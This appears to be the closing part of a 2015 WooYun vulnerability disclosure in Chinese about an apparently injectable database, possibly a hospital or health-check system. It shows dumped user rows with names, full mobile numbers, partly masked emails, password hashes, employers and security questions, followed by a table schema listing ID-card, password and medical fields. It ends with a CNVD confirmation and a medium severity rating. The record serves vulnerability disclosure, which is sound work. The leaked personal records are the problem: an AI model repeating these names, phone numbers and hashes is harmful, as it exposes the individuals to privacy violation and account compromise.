| 477 | 0 | <blank> | 张红 | zhuhuo_789@**.**.**.** | 13851621495 | ae8761e176cf07b1d3930a25425e570a | 江苏康缘药业股份有限公司 | 你最想去的地方? | 翥火 |
| 478 | 0 | <blank> | 张锦秀 | jxzhang@**.**.**.** | 13581647682 | f14b0e98b835ceb5d943a3f9994a5349 | <blank> | 你最喜欢的人是? | jxzhang |
| 479 | 0 | <blank> | 张硕 | 34128879@**.**.**.** | 13684069920 | e40c5a311ac9ca3c2a2637570d765643 | <blank> | 你最喜欢的人是? | xczs1991 |
| 480 | 51 | 130021 | 李梅 | qq1543350903@con | 13384318688 | 77b4910b68094ce807d32d86fcee4293 | 长春博创生物技术开发有


+-----------------+----------+
| Column | Type |
+-----------------+----------+
| BorthAddress | varchar |
| CARD | varchar |
| CKDate | datetime |
| Class1_ID | varchar |
| Class1_R | varchar |
| Class2_ID | varchar |
| Class2_R | varchar |
| Class3_ID | varchar |
| Class3_R | varchar |
| Clinic_No | varchar |
| Contract_ID | varchar |
| Count_Flag | varchar |
| Count_Flag_Date | datetime |
| Count_Status | varchar |
| CSNY | datetime |
| CYRQ | datetime |
| DJCount | int |
| DJJE | money |
| DJModi | varchar |
| DJXM | text |
| DJYS | varchar |
| DWDM | varchar |
| DWFZDM | varchar |
| Email | varchar |
| ETDate | datetime |
| GB | varchar |
| GH | varchar |
| GRDNH | varchar |
| GWDM | varchar |
| GZDM | varchar |
| GZKS | text |
| HF | varchar |
| HISGroupSFID | varchar |
| HisTFBJ | varchar |
| Hosptial_No | varchar |
| HSDate | datetime |
| HSYS | varchar |
| HYXM | text |
| ID | varchar |
| IFSend | varchar |
| IFUpDown | varchar |
| InsureSeriesID | varchar |
| JCLB | varchar |
| JCRQ | datetime |
| JCXM | text |
| JDRQ | datetime |
| JE | money |
| JLYS | varchar |
| JZSFFS | varchar |
| LastModiDate | datetime |
| LastModiYS | varchar |
| LXDH | varchar |
| Medical_No | varchar |
| MZ | varchar |
| NEWDJXM | text |
| Notices | varchar |
| NOWJE | money |
| NOWSSJE | money |
| OperaID | varchar |
| PACS_EIS | varchar |
| PACSXM | text |
| PassWord | varchar |
| PHOTO | image |
| PntBarCode | int |
| PntBarCodeTime | datetime |
| PrintCount | int |
| PrintDate | datetime |
| PrintYS | varchar |
| QUEUEID | varchar |
| RCardDate | datetime |
| RCardFlag | varchar |
| ReCall | varchar |
| SendWhere | varchar |
| SFBJ | varchar |
| SFYS | varchar |
| SFZH | varchar |
| SpecialFlag | varchar |
| SQYS | varchar |
| SSJE | money |
| SSQX | varchar |
| SSSS | varchar |
| TJFB | varchar |
| TXDZ | varchar |
| updateState | varchar |
| updatesuccess | varchar |
| updatetime | varchar |
| UpDownTime | datetime |
| VIPID | varchar |
| WCKS | text |
| WCXM | text |
| WHCD | varchar |
| XB | varchar |
| XFXM | text |
| XJJE | money |
| XJJE1 | money |
| XJJE10 | money |
| XJJE11 | money |
| XJJE12 | money |
| XJJE13 | money |
| XJJE14 | money |
| XJJE15 | money |
| XJJE2 | money |
| XJJE3 | money |
| XJJE4 | money |
| XJJE5 | money |
| XJJE6 | money |
| XJJE7 | money |
| XJJE8 | money |
| XJJE9 | money |
| XM | varchar |
| YCXM | text |
| YSFBJ | varchar |
| ZHXMDM | varchar |
| ZJDCRQ | datetime |
| ZJDCYS | varchar |
| ZJE | money |
| ZJHM | varchar |
| ZKL | float |
| ZY | varchar |


漏洞证明:

已证明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-18 10:55

厂商回复:

CNVD确认并复现所述情况,由CNVD尝试向网站管理单位通报.

最新状态:

暂无